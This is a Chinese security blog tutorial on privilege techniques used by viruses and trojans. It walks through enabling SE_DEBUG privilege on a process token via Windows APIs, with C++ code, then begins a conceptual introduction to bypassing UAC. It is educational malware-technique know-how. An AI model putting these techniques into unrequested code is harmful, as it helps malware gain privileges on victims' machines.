    声明:本人坚决反对利用教学方法进行犯罪的行为,一切犯罪行为必将受到严惩,绿色网络需要我们共同维护,更推荐大家了解它们背后的原理,更好地进行防护。

    前文学习:
    [网络安全自学篇] 一.入门笔记之看雪Web安全学习及异或解密示例
    [网络安全自学篇] 二.Chrome浏览器保留密码功能渗透解析及登录加密入门笔记
    [网络安全自学篇] 三.Burp Suite工具安装配置、Proxy基础用法及暴库示例
    [网络安全自学篇] 四.实验吧CTF实战之WEB渗透和隐写术解密
    [网络安全自学篇] 五.IDA Pro反汇编工具初识及逆向工程解密实战
    [网络安全自学篇] 六.OllyDbg动态分析工具基础用法及Crakeme逆向
    [网络安全自学篇] 七.快手视频下载之Chrome浏览器Network分析及Python爬虫探讨
    [网络安全自学篇] 八.Web漏洞及端口扫描之Nmap、ThreatScan和DirBuster工具
    [网络安全自学篇] 九.社会工程学之基础概念、IP获取、IP物理定位、文件属性
    [网络安全自学篇] 十.论文之基于机器学习算法的主机恶意代码
    [网络安全自学篇] 十一.虚拟机VMware+Kali安装入门及Sqlmap基本用法
    [网络安全自学篇] 十二.Wireshark安装入门及抓取网站用户名密码(一)
    [网络安全自学篇] 十三.Wireshark抓包原理(ARP劫持、MAC泛洪)及数据流追踪和图像抓取(二)
    [网络安全自学篇] 十四.Python攻防之基础常识、正则表达式、Web编程和套接字通信(一)
    [网络安全自学篇] 十五.Python攻防之多线程、C段扫描和数据库编程(二)
    [网络安全自学篇] 十六.Python攻防之弱口令、自定义字典生成及网站暴库防护
    [网络安全自学篇] 十七.Python攻防之构建Web目录扫描器及ip代理池(四)
    [网络安全自学篇] 十八.XSS跨站脚本攻击原理及代码攻防演示(一)
    [网络安全自学篇] 十九.Powershell基础入门及常见用法(一)
    [网络安全自学篇] 二十.Powershell基础入门及常见用法(二)
    [网络安全自学篇] 二十一.GeekPwn极客大赛之安全攻防技术总结及ShowTime
    [网络安全自学篇] 二十二.Web渗透之网站信息、域名信息、端口信息、敏感信息及指纹信息收集
    [网络安全自学篇] 二十三.基于机器学习的恶意请求识别及安全领域中的机器学习
    [网络安全自学篇] 二十四.基于机器学习的恶意代码识别及人工智能中的恶意代码检测
    [网络安全自学篇] 二十五.Web安全学习路线及木马、病毒和防御初探
    [网络安全自学篇] 二十六.Shodan搜索引擎详解及Python命令行调用
    [网络安全自学篇] 二十七.Sqlmap基础用法、CTF实战及请求参数设置(一)
    [网络安全自学篇] 二十八.文件上传漏洞和Caidao入门及防御原理(一)
    [网络安全自学篇] 二十九.文件上传漏洞和IIS6.0解析漏洞及防御原理(二)
    [网络安全自学篇] 三十.文件上传漏洞、编辑器漏洞和IIS高版本漏洞及防御(三)
    [网络安全自学篇] 三十一.文件上传漏洞之Upload-labs靶场及CTF题目01-10(四)
    [网络安全自学篇] 三十二.文件上传漏洞之Upload-labs靶场及CTF题目11-20(五)
    [网络安全自学篇] 三十三.文件上传漏洞之绕狗一句话原理和绕过安全狗(六)
    [网络安全自学篇] 三十四.Windows系统漏洞之5次Shift漏洞启动计算机
    [网络安全自学篇] 三十五.恶意代码攻击溯源及恶意样本分析
    [网络安全自学篇] 三十六.WinRAR漏洞复现(CVE-2018-20250)及恶意软件自启动劫持
    [网络安全自学篇] 三十七.Web渗透提高班之hack the box在线靶场注册及入门知识(一)
    [网络安全自学篇] 三十八.hack the box渗透之BurpSuite和Hydra密码爆破及Python加密Post请求(二)
    [网络安全自学篇] 三十九.hack the box渗透之DirBuster扫描路径及Sqlmap高级注入用法(三)
    [网络安全自学篇] 四十.phpMyAdmin 4.8.1后台文件包含漏洞复现及详解(CVE-2018-12613)
    [网络安全自学篇] 四十一.中间人攻击和ARP欺骗原理详解及漏洞还原
    [网络安全自学篇] 四十二.DNS欺骗和钓鱼网站原理详解及漏洞还原
    [网络安全自学篇] 四十三.木马原理详解、远程服务器IPC$漏洞及木马植入实验
    [网络安全自学篇] 四十四.Windows远程桌面服务漏洞(CVE-2019-0708)复现及详解
    [网络安全自学篇] 四十五.病毒详解及批处理病毒制作(自启动、修改密码、定时关机、蓝屏、进程关闭)
    [网络安全自学篇] 四十六.微软证书漏洞CVE-2020-0601 (上)Windows验证机制及可执行文件签名复现
    [网络安全自学篇] 四十七.微软证书漏洞CVE-2020-0601 (下)Windows证书签名及HTTPS网站劫持
    [网络安全自学篇] 四十八.Cracer第八期——(1)安全术语、Web渗透流程、Windows基础、注册表及黑客常用DOS命令
    [网络安全自学篇] 四十九.Procmon软件基本用法及文件进程、注册表查看
    [网络安全自学篇] 五十.虚拟机基础之安装XP系统、文件共享、网络快照设置及Wireshark抓取BBS密码
    [网络安全自学篇] 五十一.恶意样本分析及HGZ木马控制目标服务器
    [网络安全自学篇] 五十二.Windows漏洞利用之栈溢出原理和栈保护GS机制
    [网络安全自学篇] 五十三.Windows漏洞利用之Metasploit实现栈溢出攻击及反弹shell
    [网络安全自学篇] 五十四.Windows漏洞利用之基于SEH异常处理机制的栈溢出攻击及shell提取
    [网络安全自学篇] 五十五.Windows漏洞利用之构建ROP链绕过DEP并获取Shell
    [网络安全自学篇] 五十六.i春秋老师分享小白渗透之路及Web渗透技术总结
    [网络安全自学篇] 五十七.PE文件逆向之什么是数字签名及Signtool签名工具详解(一)
    [网络安全自学篇] 五十八.Windows漏洞利用之再看CVE-2019-0708及Metasploit反弹shell
    [网络安全自学篇] 五十九.Windows漏洞利用之MS08-067远程代码执行漏洞复现及shell深度提权
    [网络安全自学篇] 六十.Cracer第八期——(2)五万字总结Linux基础知识和常用渗透命令
    [网络安全自学篇] 六十一.PE文件逆向之数字签名详细解析及Signcode、PEView、010Editor、Asn1View等工具用法(二)
    [网络安全自学篇] 六十二.PE文件逆向之PE文件解析、PE编辑工具使用和PE结构修改(三)
    [网络安全自学篇] 六十三.hack the box渗透之OpenAdmin题目及蚁剑管理员提权(四)
    [网络安全自学篇] 六十四.Windows漏洞利用之SMBv3服务远程代码执行漏洞(CVE-2020-0796)复现及详解
    [网络安全自学篇] 六十五.Vulnhub靶机渗透之环境搭建及JIS-CTF入门和蚁剑提权示例(一)
    [网络安全自学篇] 六十六.Vulnhub靶机渗透之DC-1提权和Drupal漏洞利用(二)
    [网络安全自学篇] 六十七.WannaCry勒索病毒复现及分析(一)Python利用永恒之蓝及Win7勒索加密
    [网络安全自学篇] 六十八.WannaCry勒索病毒复现及分析(二)MS17-010利用及病毒解析
    [网络安全自学篇] 六十九.宏病毒之入门基础、防御措施、自发邮件及APT28样本分析
    [网络安全自学篇] 七十.WannaCry勒索病毒复现及分析(三)蠕虫传播机制分析及IDA和OD逆向
    [网络安全自学篇] 七十一.深信服分享之外部威胁防护和勒索病毒对抗
    [网络安全自学篇] 七十二.逆向分析之OllyDbg动态调试工具(一)基础入门及TraceMe案例分析
    [网络安全自学篇] 七十三.WannaCry勒索病毒复现及分析(四)蠕虫传播机制全网源码详细解读
    [网络安全自学篇] 七十四.APT攻击检测溯源与常见APT组织的攻击案例
    [网络安全自学篇] 七十五.Vulnhub靶机渗透之bulldog信息收集和nc反弹shell(三)
    [网络安全自学篇] 七十六.逆向分析之OllyDbg动态调试工具(二)INT3断点、反调试、硬件断点与内存断点
    [网络安全自学篇] 七十七.恶意代码与APT攻击中的武器(强推Seak老师)
    [网络安全自学篇] 七十八.XSS跨站脚本攻击案例分享及总结(二)
    [网络安全自学篇] 七十九.Windows PE病毒原理、分类及感染方式详解
    [网络安全自学篇] 八十.WHUCTF之WEB类解题思路WP(代码审计、文件包含、过滤绕过、SQL注入)
    [网络安全自学篇] 八十一.WHUCTF之WEB类解题思路WP(文件上传漏洞、冰蝎蚁剑、反序列化phar)
    [网络安全自学篇] 八十二.WHUCTF之隐写和逆向类解题思路WP(文字解密、图片解密、佛语解码、冰蝎流量分析、逆向分析)
    [网络安全自学篇] 八十三.WHUCTF之CSS注入、越权、csrf-token窃取及XSS总结
    [网络安全自学篇] 八十四.《Windows黑客编程技术详解》之VS环境配置、基础知识及DLL延迟加载详解
    [网络安全自学篇] 八十五.《Windows黑客编程技术详解》之注入技术详解(全局钩子、远线程钩子、突破Session 0注入、APC注入)
    [网络安全自学篇] 八十六.威胁情报分析之Python抓取FreeBuf网站APT文章(上)
    [网络安全自学篇] 八十七.恶意代码检测技术详解及总结
    [网络安全自学篇] 八十八.基于机器学习的恶意代码检测技术详解
    [网络安全自学篇] 八十九.PE文件解析之通过Python获取时间戳判断软件来源地区
    [网络安全自学篇] 九十.远控木马详解及APT攻击中的远控
    [网络安全自学篇] 九十一.阿里云搭建LNMP环境及实现PHP自定义网站IP访问 (1)
    [网络安全自学篇] 九十二.《Windows黑客编程技术详解》之病毒启动技术创建进程API、突破SESSION0隔离、内存加载详解(3)
    [网络安全自学篇] 九十三.《Windows黑客编程技术详解》之木马开机自启动技术(注册表、计划任务、系统服务)

     

    前文欣赏:
    [渗透&攻防] 一.从数据库原理学习网络攻防及防止SQL注入
    [渗透&攻防] 二.SQL MAP工具从零解读数据库及基础用法
    [渗透&攻防] 三.数据库之差异备份及Caidao利器
    [渗透&攻防] 四.详解MySQL数据库攻防及Fiddler神器分析数据包

     


    一.进程访问令牌权限提升

    病毒木马想要实现一些关键的系统操作时,往往要求执行操作的进程拥有足够的权限。比如,通过调用ExitWindows函数实现关机或重启操作时,它就要求进程要有 SE_SHUTDOWN_NAME 权限,否则会忽视操作不执行。这时,程序能够做的便是按照要求提升进程群贤,第一部分通过介绍提升进程访问令牌的权限。

    1.函数介绍

    (1) OpenProcessToken函数
    打开与进程关联的访问令牌。

    <span style="color:#000000"><code class="language-c">BOOL <span style="color:#61aeee">OpenProcessToken</span><span style="color:#999999">(</span>
    	HANDLE ProcessHandle<span style="color:#999999">,</span> <span style="color:#5c6370">//要修改访问权限的进程句柄</span>
    	DWORD DesiredAccess<span style="color:#999999">,</span>  <span style="color:#5c6370">//访问掩码,要对令牌进行何种操作</span>
    	PHANDLE TokenHandle   <span style="color:#5c6370">//返回的访问令牌指针</span>
    <span style="color:#999999">)</span>;
    </code></span>

    (2) LookupPrivilegevalue函数
    查看系统权限的特权值,返回信息到一个LUID结构体。

    <span style="color:#000000"><code class="language-c">BOOL <span style="color:#61aeee">LookupPrivilegevalue</span><span style="color:#999999">(</span>
    	LPCTSTR lpSystemName<span style="color:#999999">,</span>   <span style="color:#5c6370">//指向要获取特权值的系统名称</span>
    	LPCTSTR lpName<span style="color:#999999">,</span>         <span style="color:#5c6370">//特权名称</span>
    	PLUID lpLuid            <span style="color:#5c6370">//指向LUID变量的指针</span>
    <span style="color:#999999">)</span><span style="color:#999999">;</span>
    </code></span>

    (3) AdjustTokenPrivileges函数
    启用或禁用指定访问令牌中的权限,在访问令牌中启用或禁用权限时需要 TOKEN_ADJUST_PRIVILEGES 访问。

    <span style="color:#000000"><code class="language-c">BOOL <span style="color:#61aeee">AdjustTokenPrivileges</span><span style="color:#999999">(</span>
    	HANDLE TokenHandle<span style="color:#999999">,</span>         <span style="color:#5c6370">//handle to token</span>
    	BOOL DisableAllPrivileges<span style="color:#999999">,</span>  <span style="color:#5c6370">//disabling option</span>
    	PTOKEN_PRIVILEGES NewState<span style="color:#999999">,</span> <span style="color:#5c6370">//privilege information</span>
    	DWORD BufferLength<span style="color:#999999">,</span>         <span style="color:#5c6370">//size of buffer</span>
    	PTOKEN_PRIVILEGES PreviousState<span style="color:#999999">,</span> <span style="color:#5c6370">//original state buffer</span>
    	PDWORD ReturnLength         <span style="color:#5c6370">//required buffer size</span>
    <span style="color:#999999">)</span><span style="color:#999999">;</span>
    </code></span>

    其中,操作类型及特权属性Attributes可以是如下常量:

    <span style="color:#000000"><code class="language-c">SE_PRIVILEGE_ENABLED            <span style="color:#5c6370">//使特权有效</span>
    SE_PRIVILEGE_ENABLED_BY_DEFAULT <span style="color:#5c6370">//使特权默认有效</span>
    SE_PRIVILEGE_REMOVED            <span style="color:#5c6370">//移除该特权</span>
    SE_PRIVILEGE_USED_FOR_ACCESS    <span style="color:#5c6370">//取得对象或服务的访问权</span>
    </code></span>

     


    2.实现原理

    (1) 使用场景
    病毒木马想要实现一些关键的系统操作时,并且进程访问令牌权限提升的实现步骤较为固定。

    (2) 实现流程

    • 打开进程访问令牌
    • 取得特权的LUID值
    • 调整访问令牌特权值

    首先获取进程的访问令牌,然后将访问令牌的权限修改为指定权限。但是系统内部并不直接识别权限名称,而是识别LUID值,所以需要根据权限名称获取对应的LUID值,之后传递给系统,实现进程访问令牌权限的修改。

    (3) 实现步骤

    • 获取指定进程的访问令牌,需要获取权限的令牌句柄为 TOKEN_ADJUST_PRIVILEGES
      OpenProcessToken(hProcess, TOKEN_ADJUST_PRIVILEGES, &hToken)

    • 获取本地系统指定特权名称的LUID值,LUID值相当于该特权的身份标号
      LookupPrivilegeValue(NULL, pszPrivilegesName, &luidValue)

    • 创建一个新的进程令牌特权结构体 TOKEN_PRIVILEGES,并对其进行赋值,设置新特权的数量、特权对应的LUID值以及特权的属性状态
      tokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED

    • 调用 AdjustTokenPrivileges 函数对进程令牌的特权进行修改
      AdjustTokenPrivileges(hToken, FALSE, &tokenPrivileges, 0, NULL, NULL)

     


    3.编程实现

    第一步,新建C++空项目,项目名称为“Tiquan01”。

    在这里插入图片描述

    第二步,新建源文件“main.cpp”。

    在这里插入图片描述

    第三步,编写代码获取当前进程号。

    <span style="color:#000000"><code class="language-c"><span style="color:#98c379">#<span style="color:#c678dd">include</span><span style="color:#669900"><windows.h></span></span>
    <span style="color:#98c379">#<span style="color:#c678dd">include</span><span style="color:#669900"><string.h></span></span>
    <span style="color:#98c379">#<span style="color:#c678dd">include</span><span style="color:#669900"><iostream></span></span>
    using namespace std<span style="color:#999999">;</span>
    
    <span style="color:#98c379">#<span style="color:#c678dd">ifdef</span> _WIN32</span>
    <span style="color:#98c379">#<span style="color:#c678dd">include</span> <span style="color:#669900"><process.h></span></span>
    <span style="color:#98c379">#<span style="color:#c678dd">else</span></span>
    <span style="color:#98c379">#<span style="color:#c678dd">include</span> <span style="color:#669900"><unistd.h></span></span>
    <span style="color:#98c379">#<span style="color:#c678dd">endif</span></span>
    
    <span style="color:#5c6370">//主函数</span>
    <span style="color:#c678dd">int</span> <span style="color:#61aeee">main</span><span style="color:#999999">(</span><span style="color:#c678dd">int</span> argc<span style="color:#999999">,</span> <span style="color:#c678dd">char</span><span style="color:#669900">*</span> argv<span style="color:#999999">[</span><span style="color:#999999">]</span><span style="color:#999999">)</span>
    <span style="color:#999999">{</span>
    	<span style="color:#5c6370">//获取当前进程号</span>
    	<span style="color:#c678dd">int</span> iPid <span style="color:#669900">=</span> <span style="color:#999999">(</span><span style="color:#c678dd">int</span><span style="color:#999999">)</span><span style="color:#61aeee">_getpid</span><span style="color:#999999">(</span><span style="color:#999999">)</span><span style="color:#999999">;</span>
    	std<span style="color:#999999">:</span><span style="color:#999999">:</span>cout <span style="color:#669900"><<</span> <span style="color:#669900">"The process id is: "</span> <span style="color:#669900"><<</span> iPid <span style="color:#669900"><<</span> std<span style="color:#999999">:</span><span style="color:#999999">:</span>endl<span style="color:#999999">;</span>
    	<span style="color:#61aeee">system</span><span style="color:#999999">(</span><span style="color:#669900">"PAUSE"</span><span style="color:#999999">)</span><span style="color:#999999">;</span>
    	<span style="color:#c678dd">return</span> <span style="color:#98c379">0</span><span style="color:#999999">;</span>
    <span style="color:#999999">}</span>
    </code></span>

    输出结果如下图所示,可以看到我们的程序Tiquan01.exe进程为18512。

    在这里插入图片描述

    第四步,通过子函数实现进程访问令牌的提升权限。

    <span style="color:#000000"><code class="language-python"><span style="color:#5c6370">#include<windows.h></span>
    <span style="color:#5c6370">#include<string.h></span>
    <span style="color:#5c6370">#include<iostream></span>
    using namespace std<span style="color:#999999">;</span>
    
    <span style="color:#5c6370">#ifdef _WIN32</span>
    <span style="color:#5c6370">#include <process.h></span>
    <span style="color:#5c6370">#else</span>
    <span style="color:#5c6370">#include <unistd.h></span>
    <span style="color:#5c6370">#endif</span>
    
    <span style="color:#669900">//</span>显示错误信息
    void ShowError<span style="color:#999999">(</span>char<span style="color:#669900">*</span> pszText<span style="color:#999999">)</span>
    <span style="color:#999999">{</span>
    	char szErr<span style="color:#999999">[</span>MAX_PATH<span style="color:#999999">]</span> <span style="color:#669900">=</span> <span style="color:#999999">{</span> <span style="color:#98c379">0</span> <span style="color:#999999">}</span><span style="color:#999999">;</span>
    	<span style="color:#999999">:</span><span style="color:#999999">:</span>wsprintf<span style="color:#999999">(</span>szErr<span style="color:#999999">,</span> <span style="color:#669900">"%s Error[%d]\n"</span><span style="color:#999999">,</span> pszText<span style="color:#999999">,</span> <span style="color:#999999">:</span><span style="color:#999999">:</span>GetLastError<span style="color:#999999">(</span><span style="color:#999999">)</span><span style="color:#999999">)</span><span style="color:#999999">;</span>
    	<span style="color:#999999">:</span><span style="color:#999999">:</span>MessageBox<span style="color:#999999">(</span>NULL<span style="color:#999999">,</span> szErr<span style="color:#999999">,</span> <span style="color:#669900">"ERROR"</span><span style="color:#999999">,</span> MB_OK<span style="color:#999999">)</span><span style="color:#999999">;</span>
    <span style="color:#999999">}</span>
    
    <span style="color:#669900">/</span><span style="color:#669900">*</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span>
        函数名<span style="color:#999999">:</span>  CPrivilgeEscalationDlg<span style="color:#999999">:</span><span style="color:#999999">:</span>EnableDebugPrivilege
        返回类型<span style="color:#999999">:</span>  BOOL
        功能<span style="color:#999999">:</span> 提升进程访问令牌权限
        参数<span style="color:#98c379">1</span><span style="color:#999999">:</span> 需要提升权限的进程句柄
        参数<span style="color:#98c379">2</span><span style="color:#999999">:</span> 特权名称
    <span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">*</span><span style="color:#669900">/</span>
    BOOL EnbalePrivileges<span style="color:#999999">(</span>HANDLE hProcess<span style="color:#999999">,</span> char<span style="color:#669900">*</span> pszPrivilegesName<span style="color:#999999">)</span>
    <span style="color:#999999">{</span>
    	HANDLE hToken <span style="color:#669900">=</span> NULL<span style="color:#999999">;</span>
    	LUID luidValue <span style="color:#669900">=</span> <span style="color:#999999">{</span> <span style="color:#98c379">0</span> <span style="color:#999999">}</span><span style="color:#999999">;</span>
    	TOKEN_PRIVILEGES tokenPrivileges <span style="color:#669900">=</span> <span style="color:#999999">{</span> <span style="color:#98c379">0</span> <span style="color:#999999">}</span><span style="color:#999999">;</span>
    	BOOL bRet <span style="color:#669900">=</span> FALSE<span style="color:#999999">;</span>
    	DWORD dwRet <span style="color:#669900">=</span> <span style="color:#98c379">0</span><span style="color:#999999">;</span>
    
    	<span style="color:#669900">//</span>打开进程令牌并获取具有 TOKEN_ADJUST_PRIVILEGES 权限的进程令牌句柄
    	bRet <span style="color:#669900">=</span> <span style="color:#999999">:</span><span style="color:#999999">:</span>OpenProcessToken<span style="color:#999999">(</span>hProcess<span style="color:#999999">,</span> TOKEN_ADJUST_PRIVILEGES<span style="color:#999999">,</span> <span style="color:#669900">&</span>hToken<span style="color:#999999">)</span><span style="color:#999999">;</span>
    	<span style="color:#c678dd">if</span> <span style="color:#999999">(</span>FALSE <span style="color:#669900">==</span> bRet<span style="color:#999999">)</span>
    	<span style="color:#999999">{</span>
    		ShowError<span style="color:#999999">(</span><span style="color:#669900">"OpenProcessToken"</span><span style="color:#999999">)</span><span style="color:#999999">;</span>
    		<span style="color:#c678dd">return</span> FALSE<span style="color:#999999">;</span>
    	<span style="color:#999999">}</span>
    	<span style="color:#669900">//</span>获取本地系统的 pszPrivilegesName 特权的LUID值
    	bRet <span style="color:#669900">=</span> <span style="color:#999999">:</span><span style="color:#999999">:</span>LookupPrivilegeValue<span style="color:#999999">(</span>NULL<span style="color:#999999">,</span> pszPrivilegesName<span style="color:#999999">,</span> <span style="color:#669900">&</span>luidValue<span style="color:#999999">)</span><span style="color:#999999">;</span>
    	<span style="color:#c678dd">if</span> <span style="color:#999999">(</span>FALSE <span style="color:#669900">==</span> bRet<span style="color:#999999">)</span>
    	<span style="color:#999999">{</span>
    		ShowError<span style="color:#999999">(</span><span style="color:#669900">"LookupPrivilegeValue"</span><span style="color:#999999">)</span><span style="color:#999999">;</span>
    		<span style="color:#c678dd">return</span> FALSE<span style="color:#999999">;</span>
    	<span style="color:#999999">}</span>
    	<span style="color:#669900">//</span>设置提升权限信息
    	tokenPrivileges<span style="color:#999999">.</span>PrivilegeCount <span style="color:#669900">=</span> <span style="color:#98c379">1</span><span style="color:#999999">;</span>
    	tokenPrivileges<span style="color:#999999">.</span>Privileges<span style="color:#999999">[</span><span style="color:#98c379">0</span><span style="color:#999999">]</span><span style="color:#999999">.</span>Luid <span style="color:#669900">=</span> luidValue<span style="color:#999999">;</span>
    	tokenPrivileges<span style="color:#999999">.</span>Privileges<span style="color:#999999">[</span><span style="color:#98c379">0</span><span style="color:#999999">]</span><span style="color:#999999">.</span>Attributes <span style="color:#669900">=</span> SE_PRIVILEGE_ENABLED<span style="color:#999999">;</span>
    
    	<span style="color:#669900">//</span>提升进程令牌访问权限
    	bRet <span style="color:#669900">=</span> <span style="color:#999999">:</span><span style="color:#999999">:</span>AdjustTokenPrivileges<span style="color:#999999">(</span>
    		hToken<span style="color:#999999">,</span>                  <span style="color:#669900">//</span>令牌句柄
    		FALSE<span style="color:#999999">,</span>                   <span style="color:#669900">//</span>是否禁用权限
    		<span style="color:#669900">&</span>tokenPrivileges<span style="color:#999999">,</span>        <span style="color:#669900">//</span>新的特权的权限信息
    		<span style="color:#98c379">0</span><span style="color:#999999">,</span>                       <span style="color:#669900">//</span>特权信息大小
    		NULL<span style="color:#999999">,</span>                    <span style="color:#669900">//</span>用来接收特权信息当前状态的<span style="color:#669900">buffer</span>
    		NULL                     <span style="color:#669900">//</span>缓冲区大小
    	<span style="color:#999999">)</span><span style="color:#999999">;</span>
    	<span style="color:#c678dd">if</span> <span style="color:#999999">(</span>FALSE <span style="color:#669900">==</span> bRet<span style="color:#999999">)</span> <span style="color:#999999">{</span>
    		ShowError<span style="color:#999999">(</span><span style="color:#669900">"AdjustTokenPrivileges"</span><span style="color:#999999">)</span><span style="color:#999999">;</span>
    		<span style="color:#c678dd">return</span> FALSE<span style="color:#999999">;</span>
    	<span style="color:#999999">}</span>
    	<span style="color:#c678dd">else</span> <span style="color:#999999">{</span>
    		<span style="color:#669900">//</span>根据错误码判断是否特权都设置成功
    		dwRet <span style="color:#669900">=</span> <span style="color:#999999">:</span><span style="color:#999999">:</span>GetLastError<span style="color:#999999">(</span><span style="color:#999999">)</span><span style="color:#999999">;</span>
    		<span style="color:#c678dd">if</span> <span style="color:#999999">(</span>ERROR_SUCCESS <span style="color:#669900">==</span> dwRet<span style="color:#999999">)</span>
    		<span style="color:#999999">{</span>
    			<span style="color:#c678dd">return</span> TRUE<span style="color:#999999">;</span>
    		<span style="color:#999999">}</span>
    		<span style="color:#c678dd">else</span> <span style="color:#c678dd">if</span> <span style="color:#999999">(</span>ERROR_NOT_ALL_ASSIGNED <span style="color:#669900">==</span> dwRet<span style="color:#999999">)</span>
    		<span style="color:#999999">{</span>
    			ShowError<span style="color:#999999">(</span><span style="color:#669900">"ERROR_NOT_ALL_ASSIGNED"</span><span style="color:#999999">)</span><span style="color:#999999">;</span>
    			<span style="color:#c678dd">return</span> FALSE<span style="color:#999999">;</span>
    		<span style="color:#999999">}</span>
    	<span style="color:#999999">}</span>
    
    	<span style="color:#c678dd">return</span> FALSE<span style="color:#999999">;</span>
    <span style="color:#999999">}</span>
    
    <span style="color:#669900">//</span>主函数
    <span style="color:#669900">int</span> main<span style="color:#999999">(</span><span style="color:#669900">int</span> argc<span style="color:#999999">,</span> char<span style="color:#669900">*</span> argv<span style="color:#999999">[</span><span style="color:#999999">]</span><span style="color:#999999">)</span>
    <span style="color:#999999">{</span>
    	<span style="color:#669900">//</span>获取当前进程号
    	<span style="color:#669900">int</span> iPid <span style="color:#669900">=</span> <span style="color:#999999">(</span><span style="color:#669900">int</span><span style="color:#999999">)</span>_getpid<span style="color:#999999">(</span><span style="color:#999999">)</span><span style="color:#999999">;</span>
    	std<span style="color:#999999">:</span><span style="color:#999999">:</span>cout <span style="color:#669900"><<</span> <span style="color:#669900">"The process id is: "</span> <span style="color:#669900"><<</span> iPid <span style="color:#669900"><<</span> std<span style="color:#999999">:</span><span style="color:#999999">:</span>endl<span style="color:#999999">;</span>
    
    	<span style="color:#669900">//</span>修改当前进程令牌访问权限
    	<span style="color:#c678dd">if</span> <span style="color:#999999">(</span>FALSE <span style="color:#669900">==</span> EnbalePrivileges<span style="color:#999999">(</span><span style="color:#999999">:</span><span style="color:#999999">:</span>GetCurrentProcess<span style="color:#999999">(</span><span style="color:#999999">)</span><span style="color:#999999">,</span> SE_DEBUG_NAME<span style="color:#999999">)</span><span style="color:#999999">)</span>
    	<span style="color:#999999">{</span>
    		printf<span style="color:#999999">(</span><span style="color:#669900">"Enable Privileges Error!\n"</span><span style="color:#999999">)</span><span style="color:#999999">;</span>
    	<span style="color:#999999">}</span>
    	printf<span style="color:#999999">(</span><span style="color:#669900">"Enable Privileges OK!\n"</span><span style="color:#999999">)</span><span style="color:#999999">;</span>
    
    	system<span style="color:#999999">(</span><span style="color:#669900">"PAUSE"</span><span style="color:#999999">)</span><span style="color:#999999">;</span>
    	<span style="color:#c678dd">return</span> <span style="color:#98c379">0</span><span style="color:#999999">;</span>
    <span style="color:#999999">}</span>
    </code></span>

    运行结果如下图所示,注意需要以管理员权限运行,否则会提示相关错误。

    在这里插入图片描述

    问题:怎么判断我是否提权成功呢?

    同时,编程过程中会遇到各种错误,请大家一定实际去编写代码,学会谷歌百度独立解决。 比如"const char *"类型的实参与“LPCWSTR”类型的形参不兼容,基本的解决方法如下:

    • 配置属性 -> 常规 -> 字符集 -> 使用多字节字符集
    • C/C++ -> SDL检查-> 否
    • C/C++ -> 语言 -> 符合模式 -> 否

    在这里插入图片描述

     


    二.Bypass UAC

    UAC(User Account Control)是微软在Windows VISTA以后版本中引入的一种安全机制,通过UAC,应用程序和任务可始终在非管理员账户的安全上下文中运行,除非特别授予管理员级别的系统访问权限。UAC可以阻止未授权的应用程序自动进行安装,并防止无意地更改系统。

    在这里插入图片描述

    UAC需要授权的动作包括:配置Windows Update、增加或删除用户账户、改变用户账户的类型、改变UAC设置、安装ActiveX、安装或移除程序、安装设备驱动程序、设置家长控制、将文件移动或复制到Program Files或Windows目录、查看其他用户文件夹等。

